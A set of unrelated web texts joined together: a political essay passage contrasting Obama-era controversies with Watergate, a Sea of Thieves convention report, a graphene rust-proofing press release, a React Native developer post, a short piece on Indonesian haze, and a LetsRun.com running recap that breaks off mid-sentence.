director at the time, though Petraeus also agreed to the talking points and was responsible for hiring the local defenders who melted away at the first shot, and the misinformed intelligence on what happened that night was a failure by the CIA. (But Petraeus was most unlikely to run for president in 2016.) That the US presence in Benghazi was essentially a CIA operation was kept quiet. The inability to adequately protect our foreign missions has been a bipartisan failure and Congress’s stinginess with funds for the protection of our assets in foreign countries also bears some responsibility. In any case, the Republicans might be well advised to tread carefully on the matter of ignored warnings. So far, the George W. Bush administration has got by amazingly with their obvious failure to act on indications months before September 11, 2001, that a major terrorist plot was in the works .  The Justice Department clearly overreached—even its own guidelines were ignored—in its effort to gather information about a leak to the Associated Press about the CIA foiling a terrorist plot in Yemen—a leak which the AP delayed publishing at the request of the White House and the CIA, and only ran when it heard that the White House was going to release information. But this doesn’t reflect a crusade against the press—though the news media make a lot of noise about such actions, and perhaps rightly so. It is true that Obama has been especially fierce (if selectively) about national security leaks, but there’s a long history of administrations going too far to stop leaks and intimidate potential leakers. Even if the president urged Attorney General Eric Holder, a close friend, to go after the AP, does anyone seriously believe that he spelled out how it was to do so?  Thus far, not one of these so-called scandals has reached the Oval Office. Even in the event, which seems unlikely now, that one of them does, it still wouldn’t come close to the pattern of actions taken by Nixon and his aides that nearly undid our democratic system of government four decades ago. Barack Obama couldn’t be Richard Nixon if he tried. No one could. Nixon was, fortunately, sui generis. So, what was Watergate about, and how does it differ from what is going on now?  Compared to Watergate, on the basis of everything we know about what are the current “scandals” amount to a piffle. Watergate was a Constitutional crisis. It was about a pattern of behavior on the part of the president of the United States abusing power to carry out his personal vendettas. It was about whether the president was accountable to the other branches of the government; it was about whether the Congress could summon the courage to hold accountable a president who held himself above the law. It was about a president and his aides who were out of control in their efforts to punish the president’s “enemies.”  It was also about, though this has still gone largely unrecognized, an attempt by a sitting president to determine the nomination of the opposition party’s presidential candidate. Potentially strong challengers were spied upon, their offices broken into and files disappeared, their campaign events disrupted by what were diminished by their categorization as laughable “dirty tricks.” It was about black bag jobs and paying criminals to carry out ideas that sprang from the fevered brain of a president who saw opponents, political and otherwise, as enemies, and then trying to hush the whole thing up. The attempt, not unsuccessful though not exclusively their doing, to try to get the opposition party to nominate its weakest candidate was a step along the road to fascism. It was a putsch by a head of state.  Nixon’s extraordinary abuse of his new power started almost as soon as he had put away his Inaugural finery. In February 1969 he told his staff that he wanted private funds raised to establish an intelligence unit within the White House to carry out around-the-clock surveillance of political opponents. This led to the hiring of a group of fanatics, bums, fools, and losers—most of them paid for with private funds but run by White House aides and right out of the Executive Office Building, next door to the White House. Some were of Cuban origin and had participated in the disastrous Bay of Pigs invasion of Cuba; to motivate them Nixon instructed that they be told that their mission was to root out Communists in the Democratic Party. (He even ordered that they be required to read the chapter of his memoir Six Crisis that recounts his exposure of Alger Hiss as a spy for the Soviet Union. But Nixon was always telling people, even Mao, to read Six Crises. The shrewd Mao had beat him to it.).  The following year Nixon signed off on a plan (the “Huston plan”) that included not just wiretaps also but break-ins and intercepting mail; the plan was so extreme that even the powerful FBI director J. Edgar Hoover, no civil libertarian, objected; though Nixon said that the plan had been rescinded parts of it were implemented. The list of “enemies” he ordered John Dean to draw up, was considered by many who were on it funny and even a point of pride, but it was a chilling exercise of power: the president used the levers of government, including the IRS , to audit and harass his opponents, a wide swath of people in public and private lives. Nixon was often heard on the tapes telling his aides he wanted them to “get the goods” on this or that perceived enemy. Edward Kennedy, presumably Nixon’s most powerful opponent for reelection, was put under twenty-four hour surveillance for a time by one of the clowns hired by the White House to carry out Nixon’s plan.  Nixon’s most serious problems arose out of his obsession about the leak of the Pentagon Papers, in 1971. This led—shortly after the Papers were first published in The New York Times—to the establishing, four days later, the White House “plumbers” office in the EOB . A sign saying PLUMBERS was on the door. But even before the plumbers office was fully set up Nixon’s aides implemented “Special Operation No. 1”: in a first step toward punishing the leaker, Daniel Ellsberg, the White House sanctioned the gravest offense—a break-in at the office of Ellsberg’s psychiatrist in order to get the files of this particular patient. A raid of the office of the psychiatrist of a private citizen on the orders of the president of the United States. This clear flouting of the Fourth Amendment protection of private property from searches and seizures was the most disturbing act during this extraordinary period and it shook even conservative senators; Nixon knew that its discovery was the single greatest danger to him, and this was what he was so frantically trying to cover up. As it happened, even though one of the plumbers had cased the place, the psychiatrist’s office contained no files at all.  The obsession over the leak of the Pentagon Papers also led to the mad suggestion by the president of the United States that the offices of the Brookings Institution be firebombed in order to get to the safes in the offices of former Kissinger aides, Leslie Gelb and Morton Halperin, who were suspected of keeping the drafts of some unpublished chapters of the Pentagon Papers. The president could be heard on the tapes instructing his aides: “Godammit. Get in there and get those files. Blow the safe and get it.” You see, Kissinger had ordered up the study. Ellsberg had been assigned by Kissinger to do a super-secret study on the papers and had been given access to them, which were stored at Rand. Though one of the burglars had searched Brookings and reported that the files existed, there were none. In any event, some White House aides thwarted that plan before it was fully carried out.  In this context the break-in of the Democratic National Committee headquarters in the Watergate office building on June 17, 1972 was almost routine. This one, when the burglars were caught, which started the unraveling of Nixon’s secret plots against his enemies, was actually the burglars’ fourth attempt: in the first attempt they faked a banquet to get into the building but ended up locked in a closet; the second time they couldn’t break the lock on the DNC office door; the third time, on Memorial Day, they got into the DNC office but put a bug on the wrong phone, so on they went back to fix it. Perhaps because breaking in had become so habitual they got sloppy and left the immortal piece of tape on a door. That the plumbers were stumblebums doesn’t negate the sinister nature of what they were told to do.  In October 1973, Nixon rattled through a series of beheadings of those who got in the way of his desperate attempts to prevent the tapes into which he had sealed his own fate—as he was oddly aware—from being turned over to the prosecutors. He first ordered the attorney general, Elliott Richardson, to fire Archibald Cox, the Independent Prosecutor who had subpoenaed the tapes and got a court order that they must be released. Richardson, a Boston Brahmin, also refused and was fired by the president; the next in line, Bill Ruckelshaus, a popular environmentalist, also refused and was fired. Finally, the next in line, Robert Bork, agreed to fire Cox. The prosecutors’ staff was barricaded in their offices trying to protect their files from the FBI , who had surrounded them and told them they could not remove their papers. As the bulletins rolled in, one after another on that dark Saturday night, it felt as if we were living in a banana republic and now there were grounds for fearing a President who was irrational and out of control. There was a run on the bookstores to buy legal scholar Raoul Berger’s Impeachment: The Constitutional Problems (1969). No one knew how to impeach a president.  When the House Judiciary Committee took up its work at the beginning of 1974, trying to impeach a sitting president who still had a fairly strong political base was a daunting prospect. Impeachment had not yet been cheapened by the zealots who conducted a trivial pursuit of President Clinton. The triumphalism came later, spurred on by the myth that Watergate was a victory of the good guys over the bad guys. It was about something far deeper: whether our constitutional system would survive. If the Committee did vote for articles of impeachment by a bipartisan and definite majority it was probable that the House would agree and vote to impeach—indict—the president. Next would come a trial in the Senate. And the president remained defiant. The committee had to get it right.  Almost forgotten is the part played by an obscure New Jersey congressman, Peter Rodino, who had been chairman of the committee for only a year. (Inevitably once the spotlight fell on him, rumors circulated, without any evidence, that he must have ties to the mob.) Rodino was not the most articulate member by far but the miracle of the Judiciary Committee’s adopting on a bipartisan basis three articles of impeachment was due to the fact that ordinary people rose to the task and did extraordinary things; Rodino’s choices made a critical difference.  Showboat attorneys or flashy advisers were turned away. As it was, Rodino had to struggle against some committee members who wanted to conduct a prosecution of the president. The two people who along with Rodino shaped not just the committee’s action but the history of the downfall of Richard Nixon were a twenty-seven-year-old Francis O’Brien, who had no prior experience in such matters but was recommended to Rodino for his uncommon judgment, and John Doar, the counsel whom O’Brien had found. Doar had served in the Eisenhower Justice Department and then was a civil rights hero in Robert Kennedy’s Justice Department. He was methodical and low-key and built the case against Nixon brick by brick, slowly earning the trust of committee members, the press, and the public.  These three men had concluded that if there were to be articles of impeachment that would be accepted by a still-divided country they had to be seen as arising from a fair process, be bipartisan and come from the center of the committee members: those on the right who defended Nixon to the end and the most partisan Democrats on the committee had to be contained, and moderate Republicans and southern Democrats had to be convinced that voting for articles of impeachment was necessary and urgent. James Madison’s writings and the Federalist Papers became as familiar in the discussions as morning newspapers.  The atmosphere in Washington was unlike anything that had gone before or has happened since. We lived in fear. Knowing that the telephones of some of the presidents’ “enemies” were being tapped, we joked in our telephone conversations about our phones being bugged. (No Internet then, but just think of the Nixon people’s probable temptation to trace emails.) One Sunday morning when the newspaper delivery was late, a perfectly sane woman I knew said, “They’ve stopped the papers.” It got to the point where, near the end, Secretary of Defense James Schlesinger felt compelled to send a memo to military commanders to obey no command that came from the White House to dispatch the troops to restore order.  This brings us to the strange character of Richard Nixon, probably the most peculiar person to serve as president of the United States. He was also an unlikely successful political figure. He didn’t particularly like people and few people liked him. He had very few friends, trusted almost no one. He was awkward in many ways, from his odd motions at times to his virtual inability to make small talk. Nixon’s confusion of opponents with enemies and his indulging his long nurtured grievances gave us a president who came to office filled with hatreds and was willing to use the instruments of government to “get” them. The president was a dangerous man.  But even then, we didn’t know just how dangerous were Nixon’s personality traits. Not until I was doing research for a book about him for the American Presidents series did it become clear that he was often drunk, barking out orders in after-midnight calls to his aides, his words slurred, and they would have to decide whether to carry them out. Worse still, on the advice of a wealthy backer who kept him stocked, Nixon began to take Dilantin, an anti-convulsive drug, on the grounds that it would lessen depression, though it had never been approved for that. Dilantin served to enhance the effects of too much alcohol: mental confusion, slurring of words, physical clumsiness. Often Nixon was holed up with his best and only close pal, Bebe Rebozo, outside the White House, in Key Biscayne or at Camp David. On the eve of the “incursion” into Cambodia, a disastrous spreading of the Vietnam War, the two men were at Camp David and one or the other would call Kissinger to make sure that the incursion went forward. “It’s your ass, Henry,” said one of them, their drunken voices hard to distinguish.  So contrary to the myths that have been built around it, or the use that later politicians want to make of it, Watergate wasn’t about the mistakes of a bureaucracy, it wasn’t a cops and robbers story, or about courageous journalism. It was about a pattern of acts by a president that threatened the constitution, the law, and the Bill of Rights.  Nothing happening now comes close to that.
-Who hasn’t wanted to be a pirate? Like a Hollywood-style, Monkey Island, Pirates of the Caribbean Pirate I mean. My college class on pirate history quite firmly disabused me of the desire to ever be a real pirate, because in reality it was pretty nasty and they didn’t have toothbrushes at sea.  https://www.youtube.com/watch?v=upokTRX7ubI  For those looking to live through the highlights of the pirate experience, you’ll want to check out the upcoming game Sea of Thieves. Being developed by Rare Ltd, Sea of Thieves is a multiplayer online pirate experience that aims to be unlike any other, and in their recent time visiting the port of New York Comic Con 2017, the development team behind the game shared some insights and news with lucky panel attendees. In attendance at the panel were executive producer Joe Neate, senior designer Shelley Preston, marketing art lead Pete Hentze, and design director Mike Chapman.  The panel started with an overview of the game and its goals, for those unfamiliar with Sea of Thieves already. When gamers hear the term “multiplayer,” what usually comes to mind now are trolls, bullies, insanely leveled people who have been playing an MMO for the last 8 years of their life, and microtransactions. While there are plenty of people out there who enjoy MMOs, the fact is that the toxicity of the experience can be a major turn-off for a lot of gamers, and the ridiculous amounts of leveling that are required to keep up with others can be a big turn-off to casual gamers and those pressed for time. Sea of Thieves aims to change that. Developed specifically with the intention to avoid toxic gameplay without censorship or neutering player choices, the developers also aim to create a level playing ground that doesn’t segregate players based on the amount of time put into the game.  In addition to showing a peek into the development process, the team also revealed some new information for fans in attendance. First up was the addition of a brig (pirate jail) to the hold of each ship. A new way to deal with trolls and deliberately unhelpful players, if a majority of the crew votes to send one of four teammates to the brig, off they go. It’s not an irreversible decision, however, so if a player changes their minds and decides to make nice, they can be allowed back up on deck. Or they can be left in jail to re-enact that scene from the third Pirates of the Caribbean movie with 18 Johnny Depps on screen—player’s choice.  Another exciting announcement was the addition of single or two player ships. While Sea of Thieves is still intended as a multiplayer game, the devs acknowledged that sometimes people will want to try the game out without the hassle of joining a crew and that people also want to play when their crew members are offline. These smaller ships are meant to be crewed by only one or two people and have distinct advantages and disadvantages when compared to a standard four person ship, meaning that each cater to a different playstyle and neither is inherently a better way to play.  These new features, along with others, are soon to be rolled out in the game’s currently running alpha testing mode the team announced. And after a round of fan questions, I was able to talk to the team for a more in-depth look at the world of Sea of Thieves. Interested? You’ll find it above.  Sea of Thieves is scheduled to be released in early 2018 for PC and Xbox One platforms.  Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!
-Scientists at the University at Buffalo are developing a graphene-based composite that will hopefully serve as a rust-proofing alternative to the toxic coatings that are now being used. The researchers believe graphene’s hydrophobic and conductive properties may help prevent corrosion, repelling water and stunting electro-chemical reactions that transform iron into iron oxide.  Buffalo, New York — University at Buffalo researchers are making significant progress on rust-proofing steel using a graphene-based composite that could serve as a nontoxic alternative to coatings that contain hexavalent chromium, a probable carcinogen.  In the scientists’ first experiments, pieces of steel coated with the high-tech varnish remained rust-free for only a few days when immersed continuously in saltwater, an environment that accelerates corrosion.  By adjusting the concentration and dispersion of graphene within the composite, the researchers increased to about a month the amount of time the treated steel can survive in brine. (Because brine is an extremely harsh environment, the coated steel’s survival time in the real-world would be many times longer.)  The UB chemists leading the project are Sarbajit Banerjee, PhD, an assistant professor, and Robert Dennis, a PhD student. Their next step is to use a $50,000 grant from the New York State Pollution Prevention Institute to enhance the graphene composite’s lasting power, as well as the quality of its finish.  Tata Steel, an international company that has provided past funding for Banerjee’s projects, has been helping the scientists test larger sample sizes, Banerjee said.  Bringing the coating to the market could not only benefit public health, but also save jobs, said Dennis and Banerjee.  “Our product can be made to work with the existing hardware of many factories that specialize in chrome electroplating, including job shops in Western New York that grew around Bethlehem Steel,” Banerjee said. “This could give factories a chance to reinvent themselves in a healthy way in a regulatory environment that is growing increasingly harsh when it comes to chromium pollution.”  Graphene, the thinnest and strongest material known to man, consists of a single layer of carbon atoms linked in a honeycomb-like arrangement.  The material’s hydrophobic and conductive properties may help prevent corrosion, repelling water and stunting electro-chemical reactions that transform iron into iron oxide, or rust, Banerjee said.  UB’s Office of Science, Technology Transfer and Economic Outreach (STOR) has submitted a provisional patent application to protect the coating Banerjee and Dennis are refining. As sponsors of the research and due to inventive contribution by Tata employees, Tata Steel also has certain rights to the technology.  “Tata Steel has always displayed leadership in motivating innovative research and product development by leveraging partnerships with universities. UB has been one of our choices for cutting-edge coatings technology development on steel substrate,” said Debashish Bhattacharjee, PhD, Tata Steel’s group director for Research, Development and Technology.  “The development of an environmentally friendly alternative to hexavalent chromium would truly revolutionize this sector,” said Anahita Williamson, PhD, director of the New York State Pollution Prevention Institute (NYSP2I), a research and technology transfer center funded by the New York State Department of Environmental Conservation. “The metals plating industry identified this as a high-priority research project and NYSP2I is excited to support UB researchers in their efforts to develop solutions.”  The New York State Pollution Prevention Institute, headquartered at Rochester Institute of Technology (RIT), is a partnership between RIT, Clarkson University, Rensselaer Polytechnic Institute, UB and the state’s network of Regional Technology Development Centers.  Banerjee, a materials chemist, has worked closely with industry and STOR to commercialize his research since joining UB in 2007.  In addition to his work on graphene, Banerjee has spoken to companies in the building materials industry about his research on vanadium oxide, a synthetic compound that could be used in “smart” windows that reflect heat from the sun only on hot days.  “UB 2020, our university’s long-range plan, asks faculty to take an active role in translational research, and our rust-proofing project is an example of research that benefits communities on both a global and local scale,” Banerjee said.  Images: University at Buffalo
-Recently, Paren took on its first mobile project using ReactNative. As a web developer, I’m excited to move into the mobile world. However, this transition came with a lot of frustrations. In this article I share my thoughts on the current state on React Native and its ecosystem from my perspective as a web developer. What follows are the most common ReactNative questions asked of me by my web developer friends.  Is ReactNative stable and ready for real world use?  Yes, ReactNative is ready for real-world use. There are a lot of production apps written using ReactNative.  But stability is subjective. Compared to React, ReactNative is still very new. Web development (with or without React) is also a lot more mature than mobile development. Therefore, ReactNative tooling is not nearly as stable as web development tooling. To put React and ReactNative maturity into perspective: React currently has over 66k stars on Github and fewer than 600 issues while ReactNative has fewer than 50k stars but over 1,200 issues. React is a lot more stable and has a more adoption.  What sort of apps is ReactNative good for?  If you want to build an app that doesn’t use a lot of mobile-specific or complex functionality, like tracking footsteps, ReactNative and community libraries should cover most if not all of your requirements.  However, if you want to build a more complex app and ReactNative doesn’t provide the APIs you need, you would have to write native bridges to expose the native functionality. You can also rely on open source projects to provide native bridges for you, but that is not guaranteed to provide a complete solution.  In this project, we are using Expo. Expo is awesome; it helps us move fast (and not break things, hopefully). Here are some of the things Expo provides:  Additional APIs and components not provided by ReactNative  A GUI and CLI that eliminate the need for XCode and Android Studio  An iOS and Android app for running Expo apps  Hosted infrastructure for instant deployment  The biggest problem with Expo is that, to fully benefit from Expo’s features and infrastructure, you cannot use custom native code. Most good ReactNative open-source libraries are incompatible with Expo because they use native code. We discussed tradeoffs of using Expo in more details in our talk.  Is ReactNative good for prototyping?  Yes, ReactNative is great for prototyping and with Expo it is even better. Expo makes ReactNative mobile development more like web development. When you make JavaScript-only changes, you can push directly via Expo, instead of going through Apple’s or Google’s approval process. Expo uses Ngrok during development, allowing you to open and hot-reload builds on any device, just like you would with a website and any browser.  If you already know and use React, getting started should be pretty easy. Surprisingly, styling proved to be the most challenging aspect for me. I say “surprisingly” because I know CSS quite well. However, there is no CSS in ReactNative; everything is styled with JavaScript. Inline styles are the only way to style components. If you aren’t familiar with inline styles, I encourage you to view these slides.  Inline styles do not cascade. The cascading property of CSS allows one to easily set global styles. For example, in CSS you could do something like * {font-face: helvetica} and that should cascade to all DOM elements. In ReactNative, you would have to create a text component with the font styling that you want, and reuse that throughout the app. This makes sharing generic components in ReactNative more challenging than in React.  On the bright side, with ReactNative, you don’t have to deal with CSS insanity or supporting old browsers.  How much Objective C or Java do I need to know?  As long as you are willing stay within the bounds of the ReactNative community, none. That’s one of the points of ReactNative. You only need to know how to write JavaScript with ReactNative. Although, a little bit of background in iOS and Android ecosystem would certainly help. If you decide not to use Expo you may occasionally need to do some configuration with Xcode or Android Studio.  How much code can I realistically expect to share between iOS and Android?  There are significant differences between iOS and Android which we talked about at Clojure/west. Each came with its own default styling, APIs, and UI components. Some behave similarly on both, some don’t. If you are building a generic app that doesn’t require a lot of native functionality, then almost all of the code can be shared.  How should I structure the code base to support iOS and Android builds?  If you plan to use Expo like we do, you won’t have to worry about this. Without Expo, you will need to have two entry points; one for iOS and one for Android. You can start a basic Expo app by using create-react-native-app .  Conclusion  If you already know React and choose to use Expo, it should be pretty easy to get started. ReactNative is far from perfect but it’s good and getting better quickly. Giving it current stage and its cross-platform strength, it is hard to beat. For web developers who are already familiar with React, the pros definitely outweigh the cons.
-The pall wraps Dogtown in dirt and brown. The air is burnt, acrid. Stay outside for the day and the coughing begins, a dry hack at the back of the throat that clears nothing and leaves you dry.  Every year it’s the same, the palm oil plantations are cleared, fires spring up across all of Indonesia and the smoke goes up an apocalyptic season unto itself. As heavy as the smoke lies the sense of resignation, it’s another country, the government is powerless, too much money in back pockets and brown envelops for anything to change.  “We stay indoors” say the people who can. Houses, air-conditioned cars, offices, all sealed tight and the shopping malls fit to burst. It’s a marker of status, a new culture emerging, who gets to stay indoors, who has to go out.  In the workshops and warehouses of Dogtown there is no indoors, just a roof for the rain. No one wears a mask, there doesn’t seem to be much point. This is the raw edge of environmental destruction, a hard reality and an everyday practicality, a dream of blue skies turned to brown.
-by LetsRun.com  February 18, 2015  Previous versions of The Week That Was – our weekly recap – can be found here. We already gave many of our thoughts on the great action at the 2015 NYRR Millrose Games when it took place.  ****  What goes up, must come down…..  Isaac Newton once said, “What goes up, must come down.”  Since we’re not sure if Newton was a sports fan, over the years we’ve taken that phrase and applied it to the sport and particularly running with our line of “everything averages out to be average.”  What are we talking about?  There seemed to be one overarching theme last week at the 2015 NYRR Millrose Games: hardly anyone ran as fast as they wanted.  American miler Shannon Rowbury , who had run a 4:22.66 mile on a flat track coming in, only managed a 4:24.32 mile on the quick, banked Armory oval.  , who had run a 4:22.66 mile on a flat track coming in, only managed a 4:24.32 mile on the quick, banked Armory oval. Cam Levins , who had looked invincible in completing a 3:54/8:15 double at the Armory two weeks ago, looked at best mediocre in running 13:33.  , who had looked invincible in completing a 3:54/8:15 double at the Armory two weeks ago, looked at best mediocre in running 13:33. Nick Willis , who had run a 3:51.61 mile in his season opener in Boston, winning by a ton, only managed a 3:51.46 at the Armory in a losing effort – a time he was disappointed with as not only did he have competition, but he also told us he thinks the Armory track is a few seconds faster than Boston’s.  , who had run a 3:51.61 mile in his season opener in Boston, winning by a ton, only managed a 3:51.46 at the Armory in a losing effort – a time he was disappointed with as not only did he have competition, but he also told us he thinks the Armory track is a few seconds faster than Boston’s. Erik Sowinski, who 2:19.12 for the 1k a week before at the NBIGP in Boston only managed a 2:21.18 in New York.  “Everything averages out to be average.”  Often in track and field, you’ll see someone run a huge early-season time and think, “man, imagine what they’ll run later in the season,” only to be disappointed that the bigger improvement doesn’t come. Similarly, you’ll often see a person make a huge breakthrough in a given year and think, “imagine what they will do next year,” only to see that they regress.  Whenever someone makes a huge breakthrough, either from year to year or within a season, one thing we are very much aware of is everything had to go right for the breakthrough to occur.  In terms of indoors, the runners above likely all overachieved in their first efforts. Shannon Rowbury wasn’t expecting to run 4:22 on a flat track, she was just hoping for 4:25. So she overachieved but then expected to continue to improve off of that overachievement, which is probably unrealistic. More likely than not, if you overachieve one week, you underachieve the next.  In 2010, Andrew Wheating went from 3:38.60 to 3:30.90 in the 1500 and people started speculating, “imagine what he’ll do in his first year as a full-time pro in 2011.” The reality was, he improved by nearly eight seconds in 2010. Everything had to go perfectly for that to happen so the odds of it going even better the next year weren’t good (Wheating’s best 1500 in 2011 was 3:34.39).  So who had a monster year last year?  One guy that comes to mind is Hassan Mead. Will Mead, who ran 13:02.80 last year, become just the seventh American under 13:00 in 2015? We hope so, but doubt it. He’s had two monster years back-to-back, going from 13:28.45 to 13:11.80 in 2013 and then from 13:11.80 to 13:02.80 in 2014. Having three in a row is very hard to pull off.  ###  One last thing about Millrose. Almost everything about Millrose was incredible from our perspective– the press conference, the fields (particularly the men’s NYRR Wanamaker Mile, one of the greatest indoor mile fields ever assembled), the races — except for one thing that baffles us, there definitely were some empty seats. The fans who were there were definitely into it, but not all the seats were full. Now many of these seats were behind the weight throw cage with poor views, so many people “sitting” there moved down and stood track side as meet organizers told us there were just a “handful” of unsold seats and more than 5,000 in the building.  But come on New Yorkers. Millrose, the best pro indoor track meet in the US, should sell out months in advance. The fact that a city of 8.4 million can’t sell out a 5,000-seat venue is a bit depressing for our sport. Yes, there were a lot of things working against Millrose this year – it was during a 3-day holiday weekend, it was on Valentine’s night and the NBA All-Star game was in the city. Plus it was Fashion Week.  But track as a spectator sport continues to struggle in the US (editor’s note: and this despite the fact Millrose was an advertiser on LRC trying to pack the Armory). If you’ve got suggestions on how track meets (in particular in NYC) can get more butts in the seats, email us at [email protected] Or if you are a track fan in the NYC area and didn’t go to Millrose we’d like to know why as well too.  ****  Florence Kiplagat Does It Again  The winning times for the mid-d and distance races may have been a tad disappointing at Millrose (we really want to see that sub 3:50 mile) but Florence Kiplagat more than made up for it in Barcelona. At the 25th Mitja Marató de Barcelona, she broke her own women’s half marathon world record of 1:05:12 by running a 1:05:09, setting world records at 15k (46:14) and 20k (1:01:54) en route.  Her 5 km splits were 15:39, 15:33 (31:02), 15:12 (46:14) and 15:40 (1:01:54). At 15k, she was 22 seconds up on her time from last year but had to ease off a bit and missed the sub 1:05 barrier. She told the IAAF:  “I began to believe I could break records at 11km, then I got to 15km and through that was enough, especially as I am preparing for the London Marathon. I also had to ease back twice in the next five kilometres so I was amazed I was still on world record pace at 20km.  “In the final few hundred metres, my coach (Renato Canova) was yelling at me, ‘C’mon, you can do it’, so I just said to myself, ‘Right, we are going for it!’”  It will be interesting to see how the 27-year-old Kiplagat, who initially got into athletics hoping to get a scholarship to a U.S. university, does in London.  Given her CV, which includes a World XC title and the Kenyan national 10,000 record of 30:11.53, both achieved in 2009, it’s surprising that her fastest marathon was the first one she’s finished — 2011 Berlin (2:19:44) — when Kiplagat became at the time just the second woman in history to finish her first marathon under 2:20 (now three have done it).  Last year, she was the runner-up in both London and Chicago but winning 2015 London won’t be easy as Mary Keitany is in great shape as shown by her 66:02 win at the RAK Half on Thursday.  More: Florence Kiplagat Runs 1:05:09 To Break World Half Marathon Record At Mitja Marató de Barcelona That’s 4:58 pace. An amazing run as the course has turns and no other woman has come within 41 seconds on a legit course.  *SPIKES Gives A 13-Point Timeline Of Florence Kiplagat’s Career Leading Up To Her 1:05:09 13.1-Mile WR  *Full Coverage of 2015 RAK Half  *MB: The Future Is Here: Drone Used to Film the RAK Half Marathon  *RAK Half Live Thread!!!  ****  Video of the Week  Annually, the RAK Half Marathon is the richest and often one of the fastest — if not the fastest — half marathons on the planet. Here, you can read about last week’s race, where Ethiopia’s Mosinet Geremew (60:05) got the win on the men’s side alongside Keitany. More than who won, the race for us will forever be remembered as the first pro race that we’ve seen employ a drone to shoot video. Boy, was the footage stunning.  We’ve contacted the race organizers to see if we can get more footage as the two video clips below don’t come close to showing you how great the footage was.  Here is three seconds of the drone:  And eight more seconds:  Other races apparently have used drones like the St. Olaf Cross Country Invitational in the States, but the drone in the RAK got very close to the runners and got incredible closeups. Liability concerns in the U.S. likely are a huge issue moving forward.  More:*Full Coverage of 2015 RAK Half  *MB: The Future Is Here: Drone Used to Film the RAK Half Marathon  *RAK Half Live Thread!!!  ****  Email of the Week / Free Training Advice: Break Up With Your Girlfriend / Start Dating A Boy  On Thursday, we received the following email which included a guaranteed Millrose win for one athlete. The email was right on the money.  I ran for Steve Spence at Shippensburg University. He used to tell us the best way to get ready for a big race was to break up with your girlfriend. He said it would clear your mind and get you motivated. I think he was 49% serious. He might say otherwise. One year I tried it. It worked great. I was angry, I was motivated, I was free. I ran great.  Move forward to **Name Redacted**. He was dating track hottie **Name Redacted** (come on guys we need more track TMZ). This was obvious via some Instagram posts and such. Over winter it seems they have broken up. **Name Redacted** was even seen subtweeting (look it up) on Twitter about it. Since then he has set the track on fire. He has a clear mind, he’s focused, and about to win the Millrose Games because of it. Trust me.  For the record, this email’s prediction was right on the money.  When LetsRun.com co-founder Robert Johnson was coaching at Cornell, the conclusion that he and many coaches came to was college-aged males did best when they were on the prowl (being recently broken-up counts, unless the guy was totally devastated). College-aged women were the opposite — they did better when they were in a relationship.  So if there was a courting process between a guy on the team and a woman on the team, the men’s and women’s coaches both benefited -p just at different times. The men’s coach benefitted until it became a relationship — the women’s coach afterwards.  It may be total BS. Let us know what you think on our messageboard.  MB: True or False: Young men run better when on the prowl/recently broken up – Young women run better when in a relationship  ##  Speaking of the messageboard, we always laugh when people say pros “don’t go on there anymore.” We know they do as many complain privately to us about the criticism they get on the boards — failing to realize that fan stands for fanatic and that megastars like Tom “Cheater” Brady and Lebron “Choker/Not Clutch” James get ripped all the time. Getting criticized by fans means you are big enough that they care how you do.  Proof that the pros still very much lurk on the messageboard appears below:  MB: Emma Coburn only learned her AR wouldn’t be ratified from postings on the LetsRun Message Board  ****  Getting Ready For World Cross Country Championships  The 2015 World Cross Country Championships are coming up in Guiyang, China, next month and we’re starting to get pumped for the purest event in all of running.  The Kenyan Trials were last week and taking a quick look at the Kenyan and Ethiopian teams on the men’s side, we are giving the early edge to Ethiopia.  Credentials Ethiopia Kenya # Sub-13 or Sub-27 Guys 2 1 # Sub-60 or Sub-2:07 Guys 2 1  Ethiopian Top 6 At XC Trials / PBs  1 Tamirat Tola 35:08 – 28:24 road/61:27/2:06:17  2 Bonsa Dida 35:08 – 13:41/28:03 road/61:12/2:12:33  3 Atsedu Tsegaye 35:12 – 27:28/58:47  4 Hagos Gebrehiwet 35:18 – 7:30/12:47  5 Tesfaye Abera 35:20 – 28:21 road/60:32/2:09:46  6 Muktar Edris 35:25 – 12:54 Kenyan Top 6 At XC Trials / PBs  1. Bedan Karoki, 35:08 – 13:15/26:52  2. Geoffrey Kamworor, 35:19- 13:12/27:06/58:54/2:06:12  3. Leonard Barsoton, 35:28 – 13:19/27:20  4. Moses Mukono, 35:51 – 13:19 (World Jr. bronze)  5. Phillip Langat, 35:55 – 27:28 road/61:05 half  6. Joseph Kiptum, 36:02 – 13:30/28:11/60:26/2:09:56  We learned at World XC in Kenya in 2007 that many Kenyans take way more pride in having the individual male champ than the team champ. The individual male champ is the king — like the lion in the jungle. There is no dominant favorite in the list above.  More: IAAF Recap of 2015 Ethiopian XC Champs  *IAAF Recap of 2015 Kenyan XC Champs  *LRC Archives From 2007: 2007 World Cross Country Championships Recap in Mombasa, Kenya: Controlled Chaos  ****  Tweet / Stat of The Week  36 sub-4 minutes miles yesterday is the best ever. Previous best was 29 on Feb 11, 2012. Best outdoors is 26 on May 31, 2014. #milestats — Mirko Jalava (@mjalava) February 15, 2015  Saturday was quite the day for the mile as a record 36 men broke 4:00 — all of them at meets in the United States. Twelve guys did at BU, 10 at Millrose, eight at Iowa State, and six at Washington.  Currently at the NCAA D-I level, 26 guys have broken four this year (29 are sub-4 with flat track/altitude conversions). The milers still have a little work to do as the most NCAA D-I sub-4s in a given year is 31.  Number of NCAA D-I Sub-4 Milers  2015 – 26 (29 counting flat track/altitude conversions).  2014 – 18 (26 counting flat track/altitude conversions).  2013- 27 (30 counting altitude conversions).  2012 – 31 (33 counting altitude conversions)  2011 – 21 (22 counting flat track conversions)  2010 – 20 (22 counting flat track/altitude conversions)  If you like the indoor mile, you might also enjoy this article from last week: Extensive Interview With US Miler, Jim Beatty, The First Person To Run A Sub-4:00 Mile Indoors. Beatty ran 3:58.9 on February 10, 1962, a little less than eight years after Roger Bannister ran the first sub-4:00 mile outdoors.  ##  More Mile Facts  Georgetown leads the way with four sub-4 milers so far this year. They all did it in a single heat last week at BU. That’s the good news for the Hoyas. The bad news is only one of the four is in the top 16 on the NCAA list – Amos Bartelsmeyer, and he’s at #16 (16 guys will race at NCAAs in the mile).  More: MB: 12 guys – including 4 Georgetown Hoyas in the same heat – go sub-4 at BU!!  ##  Hard to believe, but before last weekend distance powerhouse Colorado, which has traditionally focused on longer distances, had a grand total one, yes one, sub-4 miler in school history. Before Saturday, only one runner ever broke 4:00 indoors in a CU uniform: Stephen Pifer, who ran 3:59.55 in 2006. They now have two as Jake Huysz ran 3:58.13 in Washington (three counting outdoors, a LRC visitor wrote that on June 01, 1974, Ted Castaneda ran 3:58.4 a week before finishing second in the 